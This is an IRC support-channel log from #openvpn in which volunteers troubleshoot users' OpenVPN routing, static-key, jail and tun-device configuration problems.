03:47 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
03:47 <@krzee> !redirect
03:47 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
03:47 <@vpnHelper> http://ircpimps.org/redirect.png
03:48 < jzaw> thanks reading now :)
03:48 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 255 seconds]
03:49 -!- newbie [~kvirc@HSI-KBW-046-005-044-083.hsi8.kabel-badenwuerttemberg.de] has joined #openvpn
03:49 < jzaw> btw the server end is a routed no nat .. ie has public ipv4 ips .... client end is single public ip and client is behind nat
03:50 -!- newbie is now known as TMcTrain
03:51 < pekster> What are you trying to do? Give every system on the LAN its own public IP, or merely redirect the entire LANs outbound traffic to the remote system and perform NAT on it to the server's public IP?
03:54 < pekster> I'm not sure about your IPv4 setup, but the proper way to do IPv6 is routing. If you are expsoing IPv6 space at the server to the client LAN, you need a deligated block of network space (at least a /64 for SLAAC) that is separate from the network your server is on. This need to be *routed*, not on-link.
03:55 < pekster> DHCPv6 has a PD feature for this purpose, or you may need to request this from your provider. And that's all somewhat outside the scope of openvpn. Once you have that, you can use a /64 from your deligation on your home LAN and route across the VPN link you establish (the link itself also needs to be a unique network, although you could in theory just use ULA or link-local addresses for the link)
03:56 < pekster> provider being your network provider at the server end
03:57 < pekster> Anyway, I'm up far past my normal sleep time. Best of luck, and there's also #ipv6 if you need direction or reference material on the IPv6 side of things
03:59 <@krzee> gnite
03:59 -!- krzee [ba0740c2@openvpn/community/support/krzee] has quit [Quit: Page closed]
04:14 -!- MaximB [~maxim@bzq-218-139-133.cablep.bezeqint.net] has joined #openvpn
04:15 < MaximB> Hello, I got openvpn setup and working, I am able to connect fine but I need to supply a "Private Key Password" , it works well manually - but is it possible to do it automatically , run openvpn and supply the pass in cli?
04:22 < JacquesBH> !tap32
04:23 < JacquesBH> :p I tried...
04:23 < JacquesBH> So, what is TAP-Win32 on windows ?
04:23 < JacquesBH> Because a friend have this error (I'm on Mac)
04:23 -!- zz_AsadH is now known as AsadH
04:42 -!- thinkHell [~Hell@85.15.47.27] has quit [Ping timeout: 255 seconds]
04:43 -!- thinkHell [~Hell@85.15.47.27] has joined #openvpn
04:46 -!- dxtr [0005ac03@unaffiliated/dxtr] has left #openvpn []
05:01 -!- brute11k1 [~brute@89.249.235.169] has joined #openvpn
05:02 -!- dazo_afk is now known as dazo
05:03 -!- brute11k [~brute@89.249.235.169] has quit [Ping timeout: 264 seconds]
05:06 -!- mustu [~maan@unaffiliated/mustu] has joined #openvpn
05:07 < mustu> hi, I need to connecte a VPN over my OpenVPN connection.. any clue?
05:12 -!- MaximB [~maxim@bzq-218-139-133.cablep.bezeqint.net] has left #openvpn []
05:44 -!- brute11k1 [~brute@89.249.235.169] has quit [Ping timeout: 250 seconds]
05:45 -!- brute11k [~brute@89.249.235.169] has joined #openvpn
05:46 -!- erry [erry@happy/birthday/erry] has quit [Changing host]
05:46 -!- erry [erry@freenode/staff/erry] has joined #openvpn
06:00 -!- thinkHell [~Hell@85.15.47.27] has quit [Quit: ["pop()"]]
06:06 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
06:14 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Read error: Connection reset by peer]
06:15 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
06:22 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
06:22 -!- _b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
06:22 -!- _b00b is now known as b00b
06:47 -!- oskie [~usel@h-254-83.a218.priv.bahnhof.se] has left #openvpn []
06:58 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
07:11 -!- neilhwatson [~neilhwats@CPE00e081b5ee1e-CMbc140134c320.cpe.net.cable.rogers.com] has joined #openvpn
07:24 -!- JSharpe [~JSharpe@46.165.221.13] has joined #openvpn
07:47 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 260 seconds]
07:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
07:53 -!- no0 [~ns@2001:878:200:1053:30a9:3c95:6513:3468] has joined #openvpn
08:06 -!- corretico [~luis@190.211.93.38] has quit [Remote host closed the connection]
08:09 < rob0> erry, happy birthday :)
08:12 < erry> thanks ;p
08:12 -!- datruth [~datruth@unaffiliated/datruth] has joined #openvpn
08:12 < datruth> I'm running FreeBSD 8.3 is it possiable to run openvpn server inside of a jail?
08:12 -!- no0 [~ns@2001:878:200:1053:30a9:3c95:6513:3468] has quit [Quit: no0]
08:15 < Aprogas> I never tried, but since OpenVPN goes "inside" of UDP, I would guess it is.
08:15 <@ecrist> datruth: yes, it is
08:17 < datruth> hrmm
08:17  * datruth coontinues to google
08:17 <@ecrist> what problem are you having?
08:18 < datruth> ecrist: i've configure the jail+devfs.rules to allow the jail to see the tun device when I try to start it its says its unable to allocate tun/tap device dynamically
08:19 <@ecrist> as root, in the jail, are you able to assign/configure the tun device?
08:20 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 276 seconds]
08:20 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
08:21 < datruth> hrmm ecrist since I am in a jail I dont believe that is allowed
08:21 <@ecrist> that's the biggest issue
08:22 <@ecrist> I think, when we ran inside a jail, we were using bridged mode
08:22 < datruth> hrmm
08:25 < datruth> perhaps it might be easier to just run it on the host :(
08:26 < rob0> you can probably preallocate the tun before entering the jail
08:27 < datruth> rob0: thats what I am doing I thought
08:27 < datruth> I can set an ip to it etc
08:27 < datruth> during the boot of the jail that is
08:27 <@ecrist> rob0: you can't assign an IP to a device from within the jail
08:28 <@ecrist> at least, that's the way it was when I last used jails
08:28 -!- mattock_afk is now known as mattock
08:30 < datruth> yeah you can't assign an ip from inside the jail
08:36 < datruth> ecrist: is there a reason to put openvpn inside of jail does it make it more secure?
08:38 <@ecrist> no, it doesn't
08:38 <@dazo> what's the purpose of jails then?
08:39 <@ecrist> overgrown chroot
08:39 < datruth> I don't see anyway how a user could hack into the system via openvpn
08:39 < datruth> so putting it in a jail might be overkill?
08:39 <@dazo> datruth: buffer overflow leading to a potential remote execution of binary code ...?
08:40 < datruth> I guess that is possiable :(
08:41 <@dazo> within a jail ... it should be harder to do that, to get access to "tools" like a shell, wget/curl, etc ... to download even more to make your box a botnet member or whatever they'd like to do with your box
08:42 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
08:43 < vaillor> hi guys, i'm having troubles configuring a static key tunnel with my iphone
08:43 < vaillor> i imported the client config that i use on my linux client and the static.key
08:43 < vaillor> they are imported well
08:43 < vaillor> but openvpn connect doesn't let me connect
08:44 < datruth> dazo: ahh gotcha i'll continue to google and try and figure out why the vpn wont start and how to resolve it
08:45 <@ecrist> dazo: a jail isn't really going to prevent that attack vector.  a jail runs on the base systems kernel, and the jail ID is attached to the process.  a buffer overflow will likely work around that.  jails have the full system's resources, as well, regarding system tools and utilities, though that is/can be separate from the base system
08:46 <@ecrist> datruth: if you're using routed VPN, it won't start because it can't assign the IP to the tun interface
08:47 < datruth> ecrist: i'm setting the ip during boot time
08:47 <@ecrist> what does your openvpn log show, and what does the config look like?
08:48 < vaillor> so? any help?
08:48 < datruth> I'll get a pastebin going
08:48 <@dazo> hmmm ... I see ... then the BSD jails are pretty different from Linux containers ... even though, they're not a security feature by itself ... but you get separate PID namespaces, network namespaces and they're working on uid/gid namespaces too,  ... so it's a weird mixture of virtualisation without actually using virtualisation
08:49 <@ecrist> right
08:51 <@ecrist> vaillor: your key needs to be inline, not a separate file.  also, need to see logs to help
08:52 < datruth> ecrist: http://paste.ee/p/LWjHv
08:52  * EugeneKay stomach rumbles
08:52 <@ecrist> datruth: try starting it outside the jail
08:52 < datruth> ecrist: openvpn on the host works fine
08:53 < vaillor> ecrist, the key is accepted
08:53 <@ecrist> vaillor: logs
08:53 < vaillor> no errors
08:53 < vaillor> i simply can't connect
08:53 <@EugeneKay> No errors does not mean nothing interesting
08:53 <@ecrist> vaillor: great, if there are no errors in the log, everything is working well
08:53 <@EugeneKay> Please produce the logs or stop expecting us to care
08:53 < vaillor> no, simply nothing happens
08:54 < vaillor> i can't enable
08:54 < vaillor> i can make a screenshot
08:54 < vaillor> is the only thing i can do
08:54 <@ecrist> datruth: it's gotta be a jail thing with restrictions on network interfaces
08:56 < datruth> hrmm
08:56 < vaillor> https://dl.dropbox.com/u/23394250/Foto%2011-03-13%2014%2055%2037.png
08:56 < vaillor> this is it
08:57 < JacquesBH> Hi guys, I've 4 clients, 1 mac, 1 win8, 2 win7, the mac and the win8 are visible with the IP of the server. But the both win7 are visible with the IP of the Internet connection... maybe there is an option somehere?
08:57 <@ecrist> do they have --no-pull in their client configs?
08:57 <@ecrist> or, are you pushing redirect gateway to them properly?
08:57 < JacquesBH> Hum I think no, I check
08:58 < JacquesBH> I'm pushing like that : push "redirect-gateway def1"
08:58 < JacquesBH> They use OpenVpn portable.
08:59 <@ecrist> are the client instances being run as root/admin?
08:59 < vaillor> ecrist, have you seen the screenshot?
08:59 <@ecrist> screen shot helps not at all
08:59 < vaillor> is what i get into openvpn CONNECT
08:59 < vaillor> logs screen is empty
08:59 < vaillor> :\
09:00 <@ecrist> I've never used the openvpn client in iphone
09:00 <@ecrist> I can't help you
09:00 < vaillor> :\
09:01 < JacquesBH> ecrist: maybe the admin launch
09:02 <@ecrist> without admin, the client will run, and it'll get an IP, but the routes can't be added
09:02 < vaillor> ecrist, do you know someone tho can help me in this chan?
09:02 <@ecrist> describes exactly what your problem is
09:02 <@ecrist> no
09:02 < datruth> hrmm
09:02 < datruth> not really sure what I can do to fix this
09:02 <@ecrist> run it on the host...
09:03 < datruth> that's my last resort
09:03 < datruth> ;/
09:04 <@ecrist> datruth: I've never had a security issue with openvpn on freebsd, and we run ours publicly, and have done so since at least 2006
09:04 <@ecrist> you can drop privileges upon start
09:04 <@ecrist> also, not sure how well routing is going to work with openvpn in a jail
09:04 < JacquesBH> ecrist: thanks :) it was that.
09:04 <@ecrist> JacquesBH: no problem
09:05 < vaillor> <@ecrist> vaillor: your key needs to be inline, not a separate file.
09:05 < vaillor> why you said this?
09:05 < vaillor> if you never used that app?
09:05 < datruth> ecrist: user/group is what drops the privs?
09:06 <@ecrist> datruth: yes
09:06 < datruth> gotcha
09:06 <@ecrist> keep in mind, datruth, if you do that, you can't change the routing table aftwards
09:06 < mustu> hi all
09:07 < datruth> ecrist: in that case I should use route in the config to set all the routing tables I will need other wise make changes to the .conf and reboot?
09:07 <@ecrist> yup
09:07 < mustu> Can I connected to an OpenVPN and from there connect another VPN(Juniper) ?
09:07 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
09:07 <@ecrist> don't know that you need to reboot, though.
09:07 <@ecrist> mustu: no
09:07 <@ecrist> openvpn is it's own protocol
09:07 < datruth> ecrist: reboot openvpn that is
09:08 <@ecrist> then yes
09:08 < datruth> ecrist: my configuration looking good?
09:08 < datruth> from the paste.se
09:08 < mustu> ecrist: our client don't want us to connect from home. So we need to connect to our office then their office.. any clue ?
09:09 <@ecrist> datruth: nothing jumps out at me as wrong.
09:09 < datruth> thanks for the tips and your review
09:09 <@ecrist> mustu: use openvpn between home and your office, and have a juniper vpn connection between your office and your client's office
09:10 < mustu> ecrist: we don't have dedicated VMs/PC in office. Can I dial the next VPN from my PC after connecting first VPN?
09:11 <@ecrist> if you have nowhere to connect to, what's the point of the first vpn?
09:11 < mustu> client allows VPN connection from our Office IPs only. We need to work from home also.
09:12 < datruth> ecrist: I have 2 machines on 2 different networks and different internal IP subnet's what would be the best way to beable to connect to both networks?
09:14 < datruth> ecrist: would that still be using the route command in the config?
09:14 <@ecrist> and an iroute for one of the clients
09:15 <@ecrist> so, put the VPN server on one network, push route for that network and the other to all your clients
09:15 <@ecrist> setup CCD for another client, put that client on the second network, and have an iroute in the CCD file for the second network.
09:21 < datruth> ok that'll work
09:21 < datruth> so I will only need to run 1 vpn server
09:21 < datruth> ?
09:22 <@ecrist> correct
09:22 < datruth> ok great
09:24 < datruth> ecrist: even with the vpn runing on the host and dropping the root privs could I still be attacked with the buffer overflow or anything else?
09:24 <@ecrist> yes
09:29 -!- fluter [~fluter@fedora/fluter] has quit [Quit: Leaving]
09:30 -!- Netsplit *.net <-> *.split quits: Azrael_-, uberushaximus, MacGyver, nutcase, AsadH, Aprogas, TypoNe, Aketzu, pekster, JackSparrow,  (+1 more, use /NETSPLIT to show all of them)
09:31 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
09:31 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has quit [Changing host]
09:31 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
09:31 -!- Netsplit over, joins: ngharo, Aprogas, Aketzu, uberushaximus, Azrael_-, pekster
09:32 -!- Netsplit over, joins: JackSparrow
09:32 -!- Netsplit over, joins: TypoNe, nutcase
09:36 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
09:55 < vaillor> ecrist
09:55 < vaillor> http://pastebin.com/dyy4t2ai
09:55 < vaillor> this is the log
09:57 < vaillor> http://pastebin.com/QmpFWM6b
09:57 < vaillor> this is my config
09:57 -!- Azrael_- [~idjfijdi@adsl-62-167-40-41.adslplus.ch] has quit []
09:58 -!- Azrael_- [~idjfijdi@adsl-62-167-40-41.adslplus.ch] has joined #openvpn
10:28 < syn4pse> "The certificate format is invalid"
10:28 < vaillor> i know
10:28 < vaillor> but the certificate should be a static key
10:32 -!- bjh4 [~bjh4@12.239.198.1] has joined #openvpn
10:33 -!- AsadH is now known as zz_AsadH
10:34 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: Lost terminal]
10:48 <@ecrist> vaillor: I though there were no errors in the log...
10:50 -!- rfxn [~teck7@69.157.149.169] has joined #openvpn
10:50 < vaillor> ecrist,i'm trying to know if openvpn connect client do supports static key
10:52 -!- TommehM [~TomM@unaffiliated/tommehm] has quit [Excess Flood]
10:54 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 240 seconds]
10:58 -!- datruth [~datruth@unaffiliated/datruth] has quit [Ping timeout: 250 seconds]
11:05 -!- [fred] [fred@konfuzi.us] has joined #openvpn
11:06 -!- TommehM [~TomM@unaffiliated/tommehm] has joined #openvpn
11:10 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
11:18 -!- mikkel [~mikkel@80.71.132.15] has joined #openvpn
11:23 -!- datruth [~datruth@110.216.117.66.DED-DSL.fuse.net] has joined #openvpn
11:24 <@ecrist> vaillor: I don't know if it does or not
11:26 < pekster> vaillor: Your 2nd paste, the blob starting at line 26 is not an X509 certificate. It looks like a 2048 bit OpenVPN static key...
11:27 < pekster> You cannot feed PolarSSL/OpenSSL a static key and treat it as an X509 certificate. Hence your error on line 2
11:28 -!- datruth [~datruth@110.216.117.66.DED-DSL.fuse.net] has quit [Ping timeout: 248 seconds]
11:28 < pekster> This is completely incorrect: < vaillor> but the certificate should be a static key
11:29 < pekster> If you're using static key, you want the <secret></secret> section
11:29 < pekster> When using the cert or key directive (or XML section) you need to be using X.509 keypairs
11:29 < vaillor> yes but i use statit key, and not ssl
11:29 < pekster> I believe I just explained what you need
11:29 < vaillor> ok, so
11:29 < vaillor> i remove all the keys
11:29 <@EugeneKay> I believe I want bacon
11:29 < vaillor> and just add
11:30 < vaillor> <secret></secret>
11:30 < pekster> Right
11:30 < vaillor> but static key is not in x509 format
11:30 < vaillor> right?
11:31 < pekster> Static keys look like that text, although you have ASCII chars in there; AFAIK an openvpn static key is hex characters only
11:31 < pekster> Lines 12, 32, & 53
11:32 < vaillor> pekster, i modified it
11:32 < pekster> Note also that the --tls-auth option is only used in TLS (ie: X509) mode
11:32 < vaillor> to hide my key
11:32 < vaillor> :P
11:33 < pekster> That's a bad way to do that because not all the bits of the key file are used, and parts of them are used asymettrically depending on setup
11:34 < pekster> If that's a keypair you intend to use for live use, you should consider them compromised and replace them before any production use (ie: use outside of a lab for testing)
11:34 < vaillor> http://pastebin.com/sMc7t8MJ
11:34 < vaillor> now should be good?
11:35 < pekster> No, lines 6/25 need to be <secret> </secret>
11:35 < vaillor> ok, done
11:35 < pekster> Do not use <cert> unless you are actually defining an X509 certificate as explained by --cert in the manpage
11:35 < pekster> But yes
11:35 < pekster> Then it's good
11:35 < pekster> Oh, hold on
11:35 < vaillor> now, lets try
11:35 < vaillor> what?
11:35 < pekster> Probably needs to start with the armor:
11:36 < pekster> -----BEGIN OpenVPN Static key V1-----  [...]   -----END OpenVPN Static key V1-----
11:36 < vaillor> ok
11:36 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
11:36 -!- Holiday [~rjr162@magichat.dlt.psu.edu] has joined #openvpn
11:37 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Read error: Connection reset by peer]
11:38 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
11:38 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
11:39 < pekster> Note also the --key-direction in the manpage, if your peer uses a 'direction' value to its secret
11:41 < vaillor> pekster
11:41 < vaillor> it wants a certificate
11:42 < vaillor> http://pastebin.com/cPxRsW8S
11:42 -!- syn4pse [~syn@p5DDC073B.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
11:45 < pekster> What wants one? That config is completely valid
11:45 < vaillor> pekster are you sure that openvpn connect for ios supports static key?
11:45 < pekster> Nope, not at all
11:46 < pekster> I'm merely asserting that the config you posted is a valid OpenVPN configuration (I copied lines 2-EOF and ran it fine)
11:48 < vaillor> is there a way to know it?
11:49 -!- bjh4 [~bjh4@12.239.198.1] has quit [Quit: Leaving]
11:52 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
11:52 -!- mode/#openvpn [+v s7r] by ChanServ
12:00 < jzaw> lo all
12:00 < jzaw> pekster, thanks for the advice this morn
12:00 < jzaw> ive got a routed tun working now
12:00 < jzaw> but i wonder if you can help me fix one last boggle
12:00 < jzaw> ovpn server is running in a qemu-kvm VM
12:00 < jzaw> i can ping the VM ... the host and the world
12:01 < jzaw> but i cant ping the rest of the server's lan
12:01 < jzaw> however i can ping from any box on the lan to the client this end
12:01 < pekster> !serverlan
12:01 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
12:01 < jzaw> ipv4 forwarding enabled
12:01 < pekster> I'm guessing firewall or return routing are your issue
12:01 < pekster> The flowchart has a lot more than "is forwarding enabled"...
12:02 < jzaw> im no nat
12:02 < jzaw> ive set a static route in m0n0wall
12:02 < jzaw> hence im seeing the world
12:04 < jzaw> ah different diag ... thanks
12:04 < jzaw> pekster, ^^^
12:04 < jzaw> looking
12:05 < jzaw> pekster, that flow chart doesnt seem to cover my case
12:05 < jzaw> i can ping world
12:05 < jzaw> i can ping server VM and the host
12:05 < jzaw> i can ping router
12:05 < jzaw> but cant ping other hosts on the lan
12:06 < jzaw> all hosts on the lan can ping the tunnel endpoints ... and client
12:06 < pekster> server-side LAN clients can ping the client?
12:06 < jzaw> yes
12:06 < pekster> Then you have a firewall issue
12:07 < jzaw> iptables is empty on all machines between lan client host, VM and client
12:07 < jzaw> and ip route seems to show routes down via correct ips on correct interfaces
12:08 < jzaw> else how could a lan host ping the distant vpn client?   am i right in thinking?
12:10 < jzaw> pekster ... whats the convention about using this ! info ?
12:10 < jzaw> is one allowed in channel
12:10 < jzaw> !route_outside_openvpn
12:10 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
12:12 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:13 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
12:18 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Ping timeout: 255 seconds]
12:32 -!- TommehM [~TomM@unaffiliated/tommehm] has quit [Max SendQ exceeded]
12:47 -!- brute11k [~brute@89.249.235.169] has quit [Quit: Leaving.]
12:48 -!- TommehM [~TomM@unaffiliated/tommehm] has joined #openvpn
13:08 -!- TMcTrain [~kvirc@HSI-KBW-046-005-044-083.hsi8.kabel-badenwuerttemberg.de] has quit [Ping timeout: 248 seconds]
13:17 -!- master_o1_master [~master_of@p4FF24E96.dip.t-dialin.net] has joined #openvpn
13:20 -!- master_of_master [~master_of@p4FF24F4B.dip.t-dialin.net] has quit [Ping timeout: 245 seconds]
13:23 -!- gan_ [~gan@c-13fde155.125-11-64736c12.cust.bredbandsbolaget.se] has joined #openvpn
13:24 -!- gan_ [~gan@c-13fde155.125-11-64736c12.cust.bredbandsbolaget.se] has quit [Client Quit]
13:26 -!- gan_ [~gan@c-13fde155.125-11-64736c12.cust.bredbandsbolaget.se] has joined #openvpn
13:26 -!- ade_b [~Ade@redhat/adeb] has quit [Remote host closed the connection]
13:28 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
13:30 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
13:33 < gan_> !welcome
13:33 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
13:33 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
13:34 < gan_> !howto
13:34 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
13:42 -!- raidz is now known as raidz_away
13:43 -!- raidz_away is now known as raidz
13:48 < gan_> Trying to set up openvpn server on a VPS node (KVM) running Ubuntu.  I have no TUN interface apparently. Didn't really find any info, it's supposed to be created when openvpn starts is that correct?
13:49 < gan_> Have been trying to create it in various ways.  Hope someone can set me in the right direction to debug. http://pastebin.com/RkjMC69J
13:49 < Dennis84> Wulf: did you have time on the weekend to get further information?
13:51 < pekster> gan_: Are you missing tun support in the kernel? There should be an explicit error about that in your openvpn logs if that's the case
13:53 < gan_> I see a few OpenVPN messages in syslog.  Is there another log and if so where?
13:53 < pekster> !log
13:53 <@vpnHelper> Error: You don't have the owner capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
13:53 < pekster> !factoids whatis log
13:53 <@vpnHelper> "log" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging
13:54 < gan_> By the way I have previously looked in what I think is the kernel config.  But let me look at the log
13:57 -!- wachpwnski [~wachpwnsk@67.176.229.52] has joined #openvpn
13:57 < wachpwnski> when you use openvpn --config foo.ovpn   is there any way to also state a username and password?
13:58 < pekster> wachpwnski: See --auth-user-pass in thte manpage for how you can pass a file with the credentials. It's a potential security risk to do so, since your credentials must be in plaintext in this file
13:59 < wachpwnski> pekster better than copy pasting now. haha
14:00 < vaillor> pekster, is easy to set a configuration with ssl certificates?
14:00 < pekster> Yup. See the howto that guides you through the process
14:00 < pekster> !howto
14:00 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
14:03 < vaillor> ok thanks
14:03 < gan_> pekster: No, no errors claiming there is no TUN support. I have not built the kernel but looked in the config Ubuntu stores under /boot.  It says CONFIG_TUN=y.  Is there any other needed?
14:04 < gan_> It looks like I have no device under /dev/net/tun .  I was wondering if it is normal to have to create it manually.  I will follow an instruction I found to mknod this.
14:04 < pekster> That should be it; you should have a /dev/net/tun character device (that's not the tun interface that openvpn creates dynamically, but it will be present with tun support loaded)
14:04 < pekster> Probably some weirdness with your virt setup then
14:05 < pekster> If you can create the device outside openvpn, you can also pass the explicit device to use. It's usually more convienent to let openpvn dynamically create the device, though
14:08 < gan_> I think I succeeded once(!) before in creating a device using "ifconfig up tun0", but never again.  Or what other command would be used to create it?
14:09 < pekster> Don't use ifconfig on modern Linux distros as it's an ill-maintined pile of crap. 'ip' is the new tool you should be using
14:09 < gan_> or maybe creating is not the right word.  But it appeared in ifconfig after.  I think I'm missing some knowledge  and testing blindly.  Help appreciated on how these devices are really handled.
14:09 < gan_> Ah yes, maybe I did use ip actually.  Anyway, will try.
14:09 < pekster> eg: ip tuntap add dev tun3 mode tun
14:10 < pekster> openvpn also has options to create the tun device, if you'd prefer. 'ip' is the "properr" way to do it on Linux if you're trying to do it completely outside openvpn
14:10 < pekster> Just don't use ifconfig to do it ;) (no, really. http://inai.de/2008/0219-ifconfig-sucks.php )
14:10 <@vpnHelper> Title: j.eng's site: News, Notes, Quips, Tweets, Things to share. (at inai.de)
14:11 < gan_> Ah, missed the mode.  :)  Thanks I vow to alias ifconfig="do not use you stupid
14:11 < pekster> Well, sadly stuff tends to break if you do that. Debian/Ubuntu in particular cling to it like it's the early 90's
14:11 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
14:11 < gan_> The plot thickens:  ip returns:  ioctl(TUNSETIFF): Device or resource busy
14:12 < gan_> How do I list devices that "exist"?  (used to do ifconfig without any args...)
14:12 < pekster> 'ip a'
14:13 < pekster> That URL I linked shows you the correct modern replacements for ifconfig, route, and similar deprecated tools
14:13 < gan_> Guess what, it reports tun0 :)
14:13 < gan_> and ifconfig doesn't
14:14 < pekster> !learn ifconfig-linux Avoid use of 'ifconfig' and 'route' commands on modern Linux distros. It's old, deprecated, and often misleading/wrong. More info: http://inai.de/2008/0219-ifconfig-sucks.php
14:14 <@vpnHelper> (learn [<channel>] <key> as <value>) -- Associates <key> with <value>. <channel> is only necessary if the message isn't sent on the channel itself. The word 'as' is necessary to separate the key from the value. It can be changed to another word via the learnSeparator registry value.
14:14 < pekster> !learn ifconfig-linux as Avoid use of 'ifconfig' and 'route' commands on modern Linux distros. It's old, deprecated, and often misleading/wrong. More info: http://inai.de/2008/0219-ifconfig-sucks.php
14:14 <@vpnHelper> Joo got it.
14:18 < gan_> If I'm not misreading the logs openvpn runs now without error (used --dev tun0). Yay!  Next step iptables to open port and then test the client side.
14:18 < gan_> or could any further test be done locally?
14:18 < vaillor> pekster, http://openvpn.net/index.php/open-source/documentation/howto.html#policy
14:18 <@vpnHelper> Title: HOWTO (at openvpn.net)
14:18 < vaillor> seems too much long
14:19 < vaillor> is there not a shorter guide?
14:19 < pekster> You're in a specific section dedicated to per-client policies
14:19 < pekster> If you do not require per-client policies, why are you concerned with it?
14:20 < pekster> Your can get a "working" VPN much earlier in the guide. By the end of the "Starting up the VPN and testing for initial connectivity" section your VPN will work
14:22 < vaillor> ok
14:22 < pekster> vaillor: What does 'openvpn --mktun --dev tun1' do?
14:22 < pekster> Erm, gan_ ^^
14:22 < vaillor> root@debian-VM:/etc/openvpn# openvpn --mktun --dev tun1
14:22 < vaillor> Sat Mar  9 18:42:30 2013 TUN/TAP device tun1 opened
14:22 < vaillor> Sat Mar  9 18:42:30 2013 Persist state set to: ON
14:22 < pekster> Sorry, that was for gan_
14:22 < pekster> You can --rmtun that if you want
14:22 < gan_> Mon Mar 11 20:22:38 2013 TUN/TAP device tun1 opened
14:22 < gan_> Mon Mar 11 20:22:38 2013 Persist state set to: ON
14:23 < pekster> So, openpvn should have no problem creating your tun device
14:23 < pekster> In fact, if you didn't actually create tun0 with ip (you said it failed) openvpn probably already did do it for you
14:23 < pekster> So, I'm not sure anything is broken at all...
14:23 < gan_> Yes.
14:24 < gan_> No it's no longer broken as I said further up. It WAS broken, but now the logs look ok.
14:24 < gan_> Just one question, with openvpn running I should not expect the tun interface to have an IP adress?  E.g. 10.8.something in the default config?  ip now reports the interface but no bound adress
14:25 < gan_> So ip a reports: 3: tun0: <POINTOPOINT,MULTICAST,NOARP> mtu 1500 qdisc noop state DOWN qlen 100 link/none
14:25 < pekster> It needs to be assigned an IP through your config, either via 'ifconfig' or via a pushed option on the server-side with use of --client or --pull by the client
14:25 < pekster> THat shows it's also down
14:26 < pekster> openvpn should be setting it as "up" when it uses it. Can you try stopping openvpn, remove any extra tun interfaces you've created, and start it again without an explicit device?
14:26 < gan_> Yes will do
14:26 < pekster> It should dynamically create the device itself, minus any problems your virt solution is giving you
14:26 < gan_> got it
14:28 < pekster> With CONFIG_TUN=y in the kernel, you shouldn't even need to load the module first. You "should" have /dev/net/tun as described in the kernl docs under Documentation/networking/tuntap.txt
